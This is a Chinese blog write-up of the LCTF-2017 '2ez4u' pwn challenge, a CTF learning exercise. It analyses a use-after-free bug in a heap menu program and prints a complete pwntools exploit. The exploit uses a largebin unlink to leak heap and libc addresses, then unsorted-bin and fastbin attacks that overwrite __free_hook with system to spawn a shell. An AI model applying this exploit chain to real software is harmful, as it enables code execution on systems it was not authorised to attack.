LCTF-2017 2ez4u

最新推荐文章于 2022-12-30 13:01:56 发布
最新推荐文章于 2022-12-30 13:01:56 发布
阅读量505 收藏
点赞数
分类专栏： 总结 漏洞挖掘与利用
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41252520/article/details/105199821
版权

保护

在这里插入图片描述

分析

典型的菜单型程序，可用的操作用增删改查。添加操作的伪代码：
在这里插入图片描述

  • 可以得到一个大概的结构体
struct Apple{
size_t Color;
size_t Value;
size_t Id;
char Description[size]
};
  • 这里需要注意一点，Color,Value,Id 占去了一个chunk 结构的 fd，bk，fd_size。输入也存在0截断：
    在这里插入图片描述

删除操作伪代码：
在这里插入图片描述

  • 释放的指针没有置空

编辑操作的伪代码：
在这里插入图片描述

  • 结合删除操作的伪代码，可以发现存在UAF漏洞，输出操作中同样也存在：
    在这里插入图片描述

大体利用思路

  • 根据前面的分析，常规方法就不能泄露堆地址。这里需要涉及到largebin 的利用，一个chunk的fd_size和bk_size就是largebin专属的。当一个chunk 位于largebin且空闲的时候，这两个专属成员将会被赋值，我们就可以泄露这个值得到堆地址。
  • 最麻烦的地方就是泄露libc内存了，只有得到overlaping chunk 才有可能泄露出来。想法是假如有若干个chunk，其中有
...chunk_0 chunk_1 chunk_2 chunk_3 chunk_4 chunk_5 chunk_6...
  • chunk_3,chunk_4 和 chunk_5 是属于largebin 大小的（0x400 及其以上，上限不记得了）。chunk_0,chunk_1,chunk_2属于smallbin 大小的（0x80 到 0x3ff）。
  • 释放掉 chunk_4,chunk5,使其全部进入largebin 中。
  • 在chunk_0~chunk2 中找到合适的位置，伪造两个chunk，一个是我们想要得到的overlaping chunk，记作target chunk，另一个是为了绕过 largebin unlink 检查而伪造的记作 fchunk_1
  • 利用 largebin chunk 的unlink 得到target chunk。
  • 在这个target chunk中就包含有chunk_0~chunk_2中的某一个，然后利用smallbin空闲chunk的fd会被赋值为libc中的内存，从而泄露libc内存。
  • 此时，largebin 已经被破坏，如果再想利用largebin进行攻击得修复，这对我来说很困难。于是我采用fastbin attack的方式去攻击 free_hook。（攻击malloc_hook 也许也可行，但我第一次尝试失败后就不想再往这里搞下去了。。。）
  • 但是，我们还不能直接这么做，因为 free_hook 上边全都是空的，不能错出一个size位。所以还得先利用unsortbin attack攻击free_hook上边某个位置。

先贴上完整的EXP，后面分部解释。

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level='debug'

def Add(l,d):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):',str(l))
    p.sendlineafter('apple:',d)
def Edit(idx,d):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('):',str(idx))
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('):','0')
    p.sendlineafter('apple:',d)
def Show(idx):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('):',str(idx))
def Del(idx):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('):',str(idx))

p=process('./2ez4u',aslr=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

Add(0x60,'0'*0x60)#0
Add(0x60,'1'*0x60)#1
Add(0x60,'2'*0x60)#2
Add(0x60,'3'*0x60)#3
Add(0x60,'4'*0x60)#4
Add(0x60,'5'*0x60)#5
Add(0x3f0,'7'*0x3f0)#6
Add(0x60,  '8'*0x60 )#7
Add(0x3e0, '9'*0x3e0)#8
Add(0x60,  '9'*0x80 )#9
Add(0x3f0, 'a'*0x3d0)#a
Add(0x60-0x18,  'b'*0x30 )#b
Add(0x60-0x18,  'c'*0x30 )#c
Add(0x60-0x18,  'd'*0x30 )#d

Del(8)
Del(0xa)
Del(0)

Add(0x400,'')#1

Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
target_addr=heap_addr+0x130 #2
fchunk1_addr=heap_addr+0xb0 #1
fchunk2_addr=heap_addr+0x1b0 #3
fchunk3_addr=heap_addr+0xc10 #10

success('target_addr:'+hex(target_addr))
success('fchunk1_addr:'+hex(fchunk1_addr))
success('fchunk2_addr:'+hex(fchunk2_addr))
success('fchunk3_addr:'+hex(fchunk3_addr))

Edit(0xa,p64(target_addr))

ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)

Edit(2,ftarget)

fake=p64(0)+p64(target_addr)
Edit(1,fake)

fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))

Del(5)
Del(3)

Add(0x3f0,'3'*56)#3
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
free_hook=libc.sym['__free_hook']+libc_base
success('free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
#unsortbin attack

Del(6)
Del(3)

pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)
Edit(2,pay)
Add(0x3f0,'')
#fastbin attack
pay=p64(0)*2+p64(0x71)
Edit(2,pay)
pay=p64(0)*6+p64(0x31)+p64(0)*3+p64(0x431)
Edit(3,pay)
Del(0xc)
Del(0x3)

pay=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)

Edit(2,pay)

Add(0x60-0x18,'/bin/sh')
pay='a'*0x13+p64(system)

Add(0x60-0x18,pay)

pay=p64(0)*2+p64(0x71)+'/bin/sh'
Edit(2,pay)
Del(3)

p.interactive()

EXP分部解释

泄露堆地址

...
Del(8)
Del(0xa)
Del(0)#防止别的chunk位置被覆盖，也为后面泄露libc内存做铺垫

Add(0x400,'')#1 目的是使得chunk_8和chunk_a进入largebin

Show(0xa)
p.recvuntil('description:')
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
success('heap_addr:'+hex(heap_addr))
...
  • 之所以要添加这么多个0x60的apple，是为了后面的伪造。此时可以看到chunk_a的bk_size出现了堆地址

在这里插入图片描述

  • 低位没有0，故而这6个字节完全可以泄露

泄露libc

构造chunk实现unlink

...
target_addr=heap_addr+0x130 #在chunk_2中构造
fchunk1_addr=heap_addr+0xb0 #在chunk_1中构造
fchunk2_addr=heap_addr+0x1b0 #在chunk_3中构造
fchunk3_addr=heap_addr+0xc10 #实际就是释放后的chunk_a的首地址
Edit(0xa,p64(target_addr))

ftarget=p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
ftarget+=p64(fchunk3_addr)+p64(fchunk2_addr)

Edit(2,ftarget)

fake=p64(0)+p64(target_addr)
Edit(1,fake)

fake=p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
Edit(3,fake)
Edit(6,'6'*0x218+p64(0x410)+p64(0x411))# 补充与target相邻的chunk->prev_size和chunk->size

Del(5)
Del(3)

Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin
Add(0x60,'')#5
Show(3)
p.recvuntil('3'*56)
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x3c4be8
success('libc_base:'+hex(libc_base))
...
  • fchunk_1的结构：
    在这里插入图片描述
  • target_chunk的结构：
    在这里插入图片描述
  • 即，target_chunk->fd=fchunk_1-0x18,target_chunk->bk=fchunk_1-0x10
    是为了绕过unlink的检测：
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
  • target_chunk->fd_size=fchunk_3，target_chunk->bk_size=fchunk_2
  • fchunk_2的结构：
    在这里插入图片描述
  • fchunk_2->fd_size=target_addr，为了绕过：
 if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);
  • 所有需要构造的chunk 构造完毕会形成如下连接图：
    在这里插入图片描述
  • EXP进行完
Add(0x3f0,'3'*56)#3 使chunk_5和chunk_3进入smallbin

时，chunk_3:
在这里插入图片描述

  • 与chunk_4还存在0 截断，并且内容也不是我们所期待的，接着执行完
Add(0x60,'')#5

在这里插入图片描述* 下次申请0x80的chunk时，这块chunk_0就被拿走，然后0x190这块chunk的fd就被写入libc 内存。
在这里插入图片描述

  • 出现了libc内存并且0截断消失，通过打印chunk3 就能得到libc 内存。

Get Shell

unsortbin attack

#unsortbin attack
Del(6)
Del(3)
# 此时unsortbin中的情况：chunk_3->chunk_6
pay=p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)#修改chunk_3->bk=free_hook-0x48
Edit(2,pay)
Add(0x3f0,'')
  • 执行完毕上面代码后，free_hook上方就会写入libc内存，然后就可以利用fastbin attack 了

总结

这道题的质量非常高，将三种类型的chunk利用都综合了起来，并且可以锻炼堆布局的前瞻性，借此学习了largebin 的其中一种利用。

飞鸿踏雪（蓝屏选手）
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
LCTF2017-2ez4u writeup 另一种思路
charlie_heng的专栏
08-11 661
之前没怎么用过largebin attack，于是搜了下题来做 审计了下，有个UAF漏洞，PIE开了，能打印，那跟fengshui那题差不多了 于是骚操作了一波，leak出libc基址，unsorted bin attack攻击malloc_hook上的位置，其实这里攻击free_hook上面的也是可以的，然后fastbin attack直接控制_malloc_hook，填one_gadget...
large bins attack及lctf2017 2ez4u writeup
Mira_Hu的博客
01-03 223
基本信息 checksec mira@ubuntu:~/test/pwn/largebin_attack/2ez4u$ checksec 2ez4u [*] '/home/mira/test/pwn/largebin_attack/2ez4u/2ez4u' Arch: amd64-64-little RELRO: Full RELRO （不能修改got表） Sta...
lctf2017_2ze4u_reproduce
Gtooler的博客
02-24 274
lctf2017_2ze4u_reproduce 概述 保护全开，libc-2.23 漏洞点在 uaf 不过这题有个地方很烦，就是读和写都是从 chunk_data 的地址开始，所以需要各种方法去绕过 这题主要就是利用伪造 bk_nextsize 的 largebin_attack，实现任意地址申请，然后进行 overlap 还有就是修改 top 指针，使其指向 free_hook，最后申请出来改成 system，实现getshell 利用过程 堆布局 # 布局要注意 \x00 和 consolidate
LCTF2017-WEB-LPLAYGROUND:LCTF2017网站题L_PLAYGROUND
03-23
LCTF2017C L_PLAYGROUND 0x00.LCTF2017 0X01。项目介绍 这个项目是LCTF2017的网络题L_PLAYGROUND的开放原始码。 ./doc/build.md指南在./doc/build.md ./doc/writeup.md在./doc/writeup.md 0x02。参考 0x03。后记 这个路线我觉得只能说一般，利用到的点都没有很新，也没有我独自发现的突破点。这道题也不是突破的生产者，只是突破的搬运工。 在布置环境里，疏忽之间就把sesstings的pyc给删了，导致失去了重要的线索，万幸没有给师傅们造成太大的影响。（毕竟这道题过去一个月了，很多地方都忘记了 还有比较坑爹的一点是，redis的配置内容，某些密码，profix是假的，很尴尬。所以有了如下的描述： 万幸的是，LCTF2017顺利结束了。比赛期间（周末）过得很充实，事情很多2333。
LCTF2017之萌萌哒报名系统
JBlock的博客
10-04 3026
题记： 最近在服务器上复现了一些CTF题目，所以对这些题目整理上相应的writeup。所以，才有了今天的文章。 正文： 这道题目是LCTF2017的题目，名字为萌萌哒报名系统。题目提示为：天依花了一整天的时间用IDE开发了一个报名系统，现在她睡着了，难道你们不想做点什么嘛XD? 首先提示是IDE，那么我们可以想到PHP有款强大的IDE叫做PHPSTORM，它新建项目的时候会生成一个.ide...
LCTF#LCTF2017#web签到题1
07-25
web签到题题目不难, 一共就只有几个点用file协议读取本地文件截断url后面拼接的/, GET请求, 用?#都可以payload其实很简单: file://
LCTF软件备份VariSpec™ Liquid Crystal Tunable Filters
01-06
While it appears to be present at either 9600 baud or 115.2 kbaud , the actual data transmission occurs at 12 MBaud over the USB. Each command is terminated with an end-of-line terminator which can ...
LCTF_2018_Platform:LCTF 2018平台
05-04
LCTF 2018 platformLCTF 2018 比赛平台。本项目中前端代码为webpack打包后的前端代码，前端源码参见。部署项目使用nginx+uwsgi+django部署，示例的和都已上传。uwsgi配置文件中为控制权限使用nginx:nginx用户启动，...
Lctf学习纪录
Ee1s
10-27 1006
渣渣回归QAQ
LCTF Web补题笔记（菜狗前进永不止步）
Assassin
11-20 5147
不得不说比赛真的挺难得…补题吧… Simple blog 首先上来发现文件login.php和admin.php，但是没什么别的，想到文件泄露通过swp得到源码 login.php error_reporting(0); session_start(); define("METHOD", "aes-128-cbc"); include('config.php'); function
【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3
arttnba3的博客
08-18 845
【CTF题解NO.00002】minilCTF 2020 - write up by arttnba30x00.绪论0x01.Sign inStarting Point0x02.PWNhelloret2text执行过程：ret2shellcode修正过程：高阶解法：栈迁移ezsc程序分析Alphanumeric Shelllcodeeasycpp程序分析Use After Freenoleakpwnchroottime_management 0x00.绪论 mini-LCTF，前身是makerCTF，是西电
01Editor最新破解
最新发布
qq_41252520的博客
12-30 9761
注册的提示信息还有界面的提示信息很丰富，这为我们定位关键代码提供了充分的线索。此函数条件为真的分支存在多对1情况，导致逆函数不能保证得到正确的原函数输入，而原函数的输入在后面验证的时候还需要用到。因此，这个函数的逆函数没有意义。在满足条件3、6和7，就能确定hb中的所有元素，然后反求得serial。注意：这个函数是多对一的，所以这个函数的反函数就成了一对多。以上就是所有注册算法流程，接下来考虑如何获得正确的任意用户名的序列号。因为有处条件永不满足。，用来和序列号某个部分进行对比的，所以该函数也不用求逆。
WinDbg设置调试符号路径与调试符号下载（一篇就够）
qq_41252520的博客
02-23 8181
解决WinDbg设置符号路径，无法下载调试符号的问题
两道逆向题分析总结
qq_41252520的博客
03-31 5233
HWS2021——Enigma 前言 这是一道来自华为2021硬件安全冬令营线上赛的一道虚拟机逆向题，比较有特点的是整个虚拟机的操作隐藏在了异常处理函数中，正常用类似 OD调试器不能顺利调试。这种反调试结合虚拟机技巧值得学习。 分析工具：IDA 7.0 1.分析 1.1.整体流程 程序没有加壳，运行之后出现提示： 根据关键信息，来到主函数： int __cdecl main(int argc, const char **argv, const char **envp) { FILE *fout; //
Bitmap在Win7内核漏洞中的利用
qq_41252520的博客
03-17 4151
Windows7下利用Bitmap借助内核漏洞获取内核读写原语
父进程欺骗
qq_41252520的博客
04-25 2874
3.1.简介 父进程欺骗技术是说，把一个恶意进程的 PID指定为一个合法的进程（lsass.exe）的 PID。 安全软件会通过对父子进程间关系的检测来判断该进程是否异常，攻击者以此技术规避启发式检测等防御手段。 3.2.原理 父进程欺骗用的最多的方法就是通过CreateProcess\textcolor{cornflowerblue}{CreateProcess}CreateProcess函数实现，其原型如下： BOOL WINAPI CreateProcessA( _In_opt_ LPCS
第八届山东省网络安全技能大赛wp
qq_41252520的博客
09-25 2228
目录 Reverse 0x0 EasyApk 直接JEB加载： 主窗口代码如下 Encode类代码： 其实就是魔改的base64加密。其中函数base_1是将输入的字符串转成二进制流，函数base就是base64加密算法。首先判断数据是否为24的倍数，不是就在末尾补0，正好符合base加密的特征之一。然后将数据6个位划分为一组，循环查表，符合base加密的特征之二。然后就是字符替换...
CVE-2022-21882 分析&POC
qq_41252520的博客
04-29 2184
0x0 漏洞描述 该漏洞的成因和CVE-2021-1732类似，如果不了解，请先阅读我之前的分析：https://blog.csdn.net/qq_41252520/article/details/119349398 主要因为xxxClientAllocExtraBytesFunc\textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc}xxxClientAllocExtraBytesFunc函数会回调用户空间中的 user32!_xxxClientA
VariSpec™ 液晶可调滤光器用户手册
2. **卓越的图像质量**：设计时考虑了光学性能，确保在整个工作波长范围内保持高质量的成像效果，提高数据准确性和实验可重复性。 3. **无移动部件设计**：采用固态构造，消除了传统滤光器可能存在的磨损和故障问题...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值